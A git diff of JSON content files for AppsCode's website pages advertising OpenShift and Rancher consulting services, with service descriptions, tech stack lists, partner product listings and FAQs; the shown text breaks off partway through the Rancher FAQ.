- "description": "Shift security left in your OpenShift lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", - "offerings": [ - "Implement role-based access control (RBAC) and network segmentation.", - "Automate container image scanning with tools like Trivy and Clair.", - "Ensure compliance with ISO, HIPAA, and GDPR standards." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "Enterprise OpenShift Support & Training", - "description": "AppsCode provides continuous OpenShift support, training, and managed services to ensure operational excellence and long-term stability.", - "offerings": [ - "Real-time monitoring, backup, and disaster recovery using Stash.", - "Training for DevOps teams to manage OpenShift independently.", - "Cost management and resource optimization for OpenShift clusters." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in OpenShift Consulting", - "subtitle": "Our OpenShift consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", - "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and OpenShift solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant systems for secure 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize systems for inspections, monitoring, and cost reduction." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Use cloud GPU instances for fast, secure processing of patient data." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and instant updates with scalable systems." - } - ] - }, - "tech_stack": { - "title": "Our OpenShift Technology Expertise", - "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade OpenShift consulting services.", - "technologies": [ - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Accelerate with OpenShift Consulting Services?", - "subtitle": "Get expert OpenShift consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", - "buttons": [ - { - "text": "Talk to an OpenShift Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode is the Right OpenShift Consulting Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Red Hat Certified Partner", - "description": "AppsCode's products including KubeDB, KubeVault, and Voyager are certified and listed in the Red Hat Ecosystem Catalog." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class OpenShift Expertise", - "description": "50+ engineers specializing in OpenShift, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-trophy", - "title": "Industry Leadership", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise on OpenShift." - }, - { - "icon": "fa fa-graduation-cap", - "title": "OpenShift Training Programs", - "description": "Hands-on OpenShift workshops and cloud-native upskilling for DevOps teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Dedicated Teams", - "description": "Easily scale your engineering teams with AppsCode's OpenShift experts." - } - ] - }, - "partner_listing": { - "title": "Our Products on Red Hat Ecosystem Catalog", - "subtitle": "AppsCode is a certified Red Hat partner. Our products are listed and certified on the Red Hat Ecosystem Catalog for OpenShift.", - "products": [ - { - "name": "KubeDB", - "description": "Run production-grade databases on Kubernetes — Provisioning, Upgrading, Scaling, Monitoring, Backup & Restore.", - "url": "https://catalog.redhat.com/en/software/containers/appscode/kubedb/69bd4de9354baf46f9233f44", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeVault", - "description": "Manage Secrets and Encryption on Kubernetes using HashiCorp Vault.", - "url": "https://catalog.redhat.com/en/software/container-stacks/detail/6970b969c26eb4c7bc646722", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "KubeStash", - "description": "Enterprise-grade backup and disaster recovery for Kubernetes workloads.", - "url": "https://catalog.redhat.com/software/containers/kubestash/manifest/695f96dfe107367e58841b99", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "description": "HAProxy and NGINX based ingress controller for Kubernetes and OpenShift.", - "url": "https://catalog.redhat.com/software/container-stacks/detail/6970986b0be784df983675f6", - "logo": "/assets/images/technical-expertise/voyager.svg" - } - ] - }, - "faq": [ - { - "question": "What do your OpenShift Consulting Services include?", - "answer": "Our OpenShift Consulting Services cover the full lifecycle of designing, deploying, and managing OpenShift clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Red Hat OpenShift." - }, - { - "question": "Is AppsCode a certified Red Hat OpenShift partner?", - "answer": "Yes — AppsCode is a certified Red Hat partner. Our products including KubeDB, KubeVault, KubeStash, and Voyager are certified and listed on the Red Hat Ecosystem Catalog. View our product listings at catalog.redhat.com." - }, - { - "question": "Which technologies and practices are used in OpenShift consulting?", - "answer": "We leverage OpenShift operators, Helm charts, containerization, CI/CD pipelines, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient OpenShift environments." - }, - { - "question": "Can you work with our existing OpenShift clusters or cloud-native stack?", - "answer": "Yes — we integrate with your current OpenShift clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable OpenShift deployments." - }, - { - "question": "What is the typical timeline and engagement model for OpenShift Consulting Services?", - "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term OpenShift advisory partnerships." - }, - { - "question": "Do you support hybrid and multi-cloud OpenShift deployments?", - "answer": "Absolutely. Our OpenShift Consulting Services are designed for portability and consistency across on-premises clusters and public clouds such as AWS, Azure, and GCP, ensuring seamless operations and scalability across environments." - }, - { - "question": "How do you ensure security, reliability, and operational efficiency in OpenShift?", - "answer": "We enforce security best practices including RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." - }, - { - "question": "What happens after OpenShift consulting and implementation?", - "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our OpenShift Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." - }, - { - "question": "How much do OpenShift Consulting Services cost, and what are the pricing models?", - "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Red Hat OpenShift Consulting Services by Experts", + "subtitle": "AppsCode is a certified Red Hat partner — delivering expert OpenShift consulting, deployment, optimization, and managed enterprise support.", + "cta_text": "Talk to an OpenShift Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Red Hat OpenShift Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our OpenShift Consulting Services?", + "areas": [ + { + "icon": "fa fa-lightbulb-o", + "title": "Agile & Scalable OpenShift Architecture" + }, + { + "icon": "fa fa-tachometer", + "title": "High-Performance OpenShift Deployments" + }, + { + "icon": "fa fa-cogs", + "title": "Accelerated App Development on OpenShift" + }, + { + "icon": "fa fa-money", + "title": "Optimize Cloud & IT Infrastructure Costs" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud & Hybrid OpenShift Flexibility" + }, + { + "icon": "fa fa-shield", + "title": "Self-Healing & Secure Container Environments" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Migrate & Containerize Legacy Applications" + }, + { + "icon": "fa fa-repeat", + "title": "Automated CI/CD Rollouts & Rollbacks" + } + ] + }, + "service_details": { + "title": "Our End-to-End OpenShift Consulting Services", + "subtitle": "As a certified Red Hat partner and CNCF Silver Member, AppsCode delivers expert OpenShift consulting — from planning to production management.", + "sections": [ + { + "title": "OpenShift Advisory & Assessment", + "description": "Start your OpenShift journey with confidence. Our experts assess your current infrastructure, plan seamless migration to OpenShift, and design a scalable architecture optimized for your environment.", + "offerings": [ + "Conduct infrastructure audits and plan OpenShift adoption.", + "Create a roadmap for efficient OpenShift deployment.", + "Provide detailed cost analysis and workload optimization." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Application Development & Migration", + "description": "Modernize your workloads with OpenShift-native applications and migrate monoliths into containerized microservices for better agility and performance.", + "offerings": [ + "Develop OpenShift-ready applications using Go, Java, and Python.", + "Break monolithic architectures into resilient microservices.", + "Implement centralized management across multi-cluster OpenShift environments." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "OpenShift Deployment & Operations", + "description": "Deploy production-grade OpenShift clusters on-premises or in the cloud with high availability, resilience, and observability built in.", + "offerings": [ + "Provision auto-healing OpenShift clusters using Infrastructure-as-Code tools.", + "Integrate observability with Prometheus, Grafana, and Thanos.", + "Automate cluster scaling, upgrades, and security policies." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "DevSecOps, Security & Compliance", + "description": "Shift security left in your OpenShift lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", + "offerings": [ + "Implement role-based access control (RBAC) and network segmentation.", + "Automate container image scanning with tools like Trivy and Clair.", + "Ensure compliance with ISO, HIPAA, and GDPR standards." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "Enterprise OpenShift Support & Training", + "description": "AppsCode provides continuous OpenShift support, training, and managed services to ensure operational excellence and long-term stability.", + "offerings": [ + "Real-time monitoring, backup, and disaster recovery using Stash.", + "Training for DevOps teams to manage OpenShift independently.", + "Cost management and resource optimization for OpenShift clusters." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in OpenShift Consulting", + "subtitle": "Our OpenShift consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", + "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and OpenShift solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available, compliant systems for secure 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize systems for inspections, monitoring, and cost reduction." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Use cloud GPU instances for fast, secure processing of patient data." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and instant updates with scalable systems." + } + ] + }, + "tech_stack": { + "title": "Our OpenShift Technology Expertise", + "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade OpenShift consulting services.", + "technologies": [ + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Accelerate with OpenShift Consulting Services?", + "subtitle": "Get expert OpenShift consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", + "buttons": [ + { + "text": "Talk to an OpenShift Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode is the Right OpenShift Consulting Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Red Hat Certified Partner", + "description": "AppsCode's products including KubeDB, KubeVault, and Voyager are certified and listed in the Red Hat Ecosystem Catalog." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class OpenShift Expertise", + "description": "50+ engineers specializing in OpenShift, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-trophy", + "title": "Industry Leadership", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise on OpenShift." + }, + { + "icon": "fa fa-graduation-cap", + "title": "OpenShift Training Programs", + "description": "Hands-on OpenShift workshops and cloud-native upskilling for DevOps teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Dedicated Teams", + "description": "Easily scale your engineering teams with AppsCode's OpenShift experts." + } + ] + }, + "partner_listing": { + "title": "Our Products on Red Hat Ecosystem Catalog", + "subtitle": "AppsCode is a certified Red Hat partner. Our products are listed and certified on the Red Hat Ecosystem Catalog for OpenShift.", + "products": [ + { + "name": "KubeDB", + "description": "Run production-grade databases on Kubernetes — Provisioning, Upgrading, Scaling, Monitoring, Backup & Restore.", + "url": "https://catalog.redhat.com/en/software/containers/appscode/kubedb/69bd4de9354baf46f9233f44", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeVault", + "description": "Manage Secrets and Encryption on Kubernetes using HashiCorp Vault.", + "url": "https://catalog.redhat.com/en/software/container-stacks/detail/6970b969c26eb4c7bc646722", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "KubeStash", + "description": "Enterprise-grade backup and disaster recovery for Kubernetes workloads.", + "url": "https://catalog.redhat.com/software/containers/kubestash/manifest/695f96dfe107367e58841b99", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "description": "HAProxy and NGINX based ingress controller for Kubernetes and OpenShift.", + "url": "https://catalog.redhat.com/software/container-stacks/detail/6970986b0be784df983675f6", + "logo": "/assets/images/technical-expertise/voyager.svg" + } + ] + }, + "faq": [ + { + "question": "What do your OpenShift Consulting Services include?", + "answer": "Our OpenShift Consulting Services cover the full lifecycle of designing, deploying, and managing OpenShift clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Red Hat OpenShift." + }, + { + "question": "Is AppsCode a certified Red Hat OpenShift partner?", + "answer": "Yes — AppsCode is a certified Red Hat partner. Our products including KubeDB, KubeVault, KubeStash, and Voyager are certified and listed on the Red Hat Ecosystem Catalog. View our product listings at catalog.redhat.com." + }, + { + "question": "Which technologies and practices are used in OpenShift consulting?", + "answer": "We leverage OpenShift operators, Helm charts, containerization, CI/CD pipelines, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient OpenShift environments." + }, + { + "question": "Can you work with our existing OpenShift clusters or cloud-native stack?", + "answer": "Yes — we integrate with your current OpenShift clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable OpenShift deployments." + }, + { + "question": "What is the typical timeline and engagement model for OpenShift Consulting Services?", + "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term OpenShift advisory partnerships." + }, + { + "question": "Do you support hybrid and multi-cloud OpenShift deployments?", + "answer": "Absolutely. Our OpenShift Consulting Services are designed for portability and consistency across on-premises clusters and public clouds such as AWS, Azure, and GCP, ensuring seamless operations and scalability across environments." + }, + { + "question": "How do you ensure security, reliability, and operational efficiency in OpenShift?", + "answer": "We enforce security best practices including RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." + }, + { + "question": "What happens after OpenShift consulting and implementation?", + "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our OpenShift Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." + }, + { + "question": "How much do OpenShift Consulting Services cost, and what are the pricing models?", + "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/rancher_consulting_partner.json b/data/services/application-modernization/rancher_consulting_partner.json index a57c258bcb..791f825131 100644 --- a/data/services/application-modernization/rancher_consulting_partner.json +++ b/data/services/application-modernization/rancher_consulting_partner.json @@ -1,333 +1,333 @@ -{ - "hero": { - "title": "Rancher by SUSE Consulting Services by Experts", - "subtitle": "AppsCode is a certified SUSE partner — delivering expert Rancher consulting, deployment, optimization, and managed enterprise support.", - "cta_text": "Talk to a Rancher Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Rancher by SUSE Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our Rancher Consulting Services?", - "areas": [ - { - "icon": "fa fa-lightbulb-o", - "title": "Agile & Scalable Rancher Architecture" - }, - { - "icon": "fa fa-tachometer", - "title": "High-Performance Rancher Deployments" - }, - { - "icon": "fa fa-cogs", - "title": "Accelerated App Development on Rancher" - }, - { - "icon": "fa fa-money", - "title": "Optimize Cloud & IT Infrastructure Costs" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud & Hybrid Rancher Flexibility" - }, - { - "icon": "fa fa-shield", - "title": "Self-Healing & Secure Container Environments" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Migrate & Containerize Legacy Applications" - }, - { - "icon": "fa fa-repeat", - "title": "Automated CI/CD Rollouts & Rollbacks" - } - ] - }, - "service_details": { - "title": "Our End-to-End Rancher Consulting Services", - "subtitle": "As a certified SUSE partner and CNCF Silver Member, AppsCode delivers expert Rancher consulting — from planning to production management.", - "sections": [ - { - "title": "Rancher Advisory & Assessment", - "description": "Start your Rancher journey with confidence. Our experts assess your current infrastructure, plan seamless migration to Rancher-managed Kubernetes, and design a scalable architecture optimized for your environment.", - "offerings": [ - "Conduct infrastructure audits and plan Rancher adoption.", - "Create a roadmap for efficient Rancher deployment.", - "Provide detailed cost analysis and workload optimization." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Application Development & Migration", - "description": "Modernize your workloads with Rancher-native applications and migrate monoliths into containerized microservices for better agility and performance.", - "offerings": [ - "Develop Rancher-ready applications using Go, Java, and Python.", - "Break monolithic architectures into resilient microservices.", - "Implement centralized management across multi-cluster Rancher environments." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "Rancher Deployment & Operations", - "description": "Deploy production-grade Rancher clusters on-premises or in the cloud with high availability, resilience, and observability built in.", - "offerings": [ - "Provision auto-healing Kubernetes clusters using Rancher, RKE2, and K3s.", - "Integrate observability with Prometheus, Grafana, and Thanos.", - "Automate cluster scaling, upgrades, and security policies." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "DevSecOps, Security & Compliance", - "description": "Shift security left in your Rancher lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", - "offerings": [ - "Implement role-based access control (RBAC) and network segmentation.", - "Automate container image scanning with tools like Trivy and Clair.", - "Ensure compliance with ISO, HIPAA, and GDPR standards." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "Enterprise Rancher Support & Training", - "description": "AppsCode provides continuous Rancher support, training, and managed services to ensure operational excellence and long-term stability.", - "offerings": [ - "Real-time monitoring, backup, and disaster recovery using Stash.", - "Training for DevOps teams to manage Rancher independently.", - "Cost management and resource optimization for Rancher clusters." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Rancher Consulting", - "subtitle": "Our Rancher consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", - "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and Rancher solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant systems for secure 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize systems for inspections, monitoring, and cost reduction." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Use cloud GPU instances for fast, secure processing of patient data." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and instant updates with scalable systems." - } - ] - }, - "tech_stack": { - "title": "Our Rancher Technology Expertise", - "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade Rancher consulting services.", - "technologies": [ - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Accelerate with Rancher Consulting Services?", - "subtitle": "Get expert Rancher consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", - "buttons": [ - { - "text": "Talk to a Rancher Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode is the Right Rancher Consulting Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "SUSE Certified Partner", - "description": "AppsCode is a verified SUSE partner. KubeDB is available as a Rancher Extension and our Helm charts are published in the Rancher Partner Charts repository." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class Rancher Expertise", - "description": "50+ engineers specializing in Rancher, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-trophy", - "title": "Industry Leadership", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise on Rancher." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Rancher Training Programs", - "description": "Hands-on Rancher workshops and cloud-native upskilling for DevOps teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Dedicated Teams", - "description": "Easily scale your engineering teams with AppsCode's Rancher experts." - } - ] - }, - "partner_listing": { - "title": "Our Products in the SUSE Rancher Ecosystem", - "subtitle": "AppsCode is a certified SUSE partner. Our products are available as Rancher Extensions and Helm charts in the Rancher Partner Charts repository.", - "products": [ - { - "name": "KubeDB Rancher Extension", - "description": "Manage production-grade databases directly from the Rancher UI — deploy, monitor, and scale without leaving the dashboard.", - "url": "https://appscode.com/docs/en/guides/integrations/rancher-extension.html", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "Rancher Partner Charts", - "description": "AppsCode Helm charts are certified and published in the official Rancher Partner Charts repository for seamless deployment on Rancher-managed clusters.", - "url": "https://github.com/rancher/partner-charts", - "logo": "/assets/images/technical-expertise/rancher.svg" - } - ] - }, - "faq": [ - { - "question": "What do your Rancher Consulting Services include?", - "answer": "Our Rancher Consulting Services cover the full lifecycle of designing, deploying, and managing Rancher-managed Kubernetes clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Rancher by SUSE." - }, - { - "question": "Is AppsCode a certified SUSE Rancher partner?", - "answer": "Yes — AppsCode is a certified SUSE partner. KubeDB is available as a Rancher Extension for direct integration with the Rancher UI, and our Helm charts are published in the official Rancher Partner Charts repository. Learn more at appscode.com/docs/en/guides/integrations/rancher-extension.html." - }, - { - "question": "Which technologies and practices are used in Rancher consulting?", - "answer": "We leverage Rancher, RKE2, K3s, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient Rancher environments." - }, - { - "question": "Can you work with our existing Rancher clusters or cloud-native stack?", - "answer": "Yes — we integrate with your current Rancher clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable Rancher deployments." - }, - { - "question": "What is the typical timeline and engagement model for Rancher Consulting Services?", - "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term Rancher advisory partnerships." - }, - { - "question": "Do you support hybrid and multi-cloud Rancher deployments?", - "answer": "Absolutely. Our Rancher Consulting Services are designed for portability and consistency across 